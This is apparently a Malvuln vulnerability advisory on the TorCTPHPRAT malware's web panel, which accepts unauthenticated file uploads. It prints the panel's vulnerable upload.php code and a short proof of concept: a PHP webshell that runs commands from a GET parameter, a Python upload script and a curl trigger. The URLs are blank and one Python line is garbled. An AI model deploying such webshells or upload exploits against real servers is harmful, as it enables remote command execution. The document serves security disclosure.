Discovery / credits: Malvuln - (c) 2022  
Original source:  
Threat: BuilderTorCTPHPRAT.b  
Vulnerability: Arbitrary File Upload - RCE  
Family: TorCTPHPRAT  
Type: WebUI  
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)  
MD5: b54822058a3ed33c673d06113b453ebe (upload.php)  
Vuln ID: MVID-2022-0519  
Disclosure: 03/17/2022  
Description: The TorCT client malwares web-panel allows unauthenticated uploads and does not check the expected file type E.g. ".png". Third-party attackers who can reach the server can upload their own backdoor PHP webshell and execute any commands on the malwares C2 server.  
"upload.php" vulnerable code:  
$DelOrNot = $_GET['D'];  
if ($DelOrNot == "true")  
$uploadDir = 'Upload/';   
$uploadFile = $uploadDir . basename($_FILES['file']['name']);  
if (is_uploaded_file($_FILES['file']['tmp_name']))   
echo "File ". $_FILES['file']['name'] ." is successfully uploaded!\r\n";  
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile))   
echo "File is successfully stored! ";  
else print_r($_FILES);  
echo "Upload Failed!";  
1) Create PHP webshell "pwn.php", exec($_GET['cmd']);  
2) Create Python uploader ""  
import requests  
files = {'file': open('pwn.php', 'rb')}  
r =, files=files)  
if r.status_code==200:  
print("TorCTPHPRAT PWNED!")  
3) Exploit  
curl ""  
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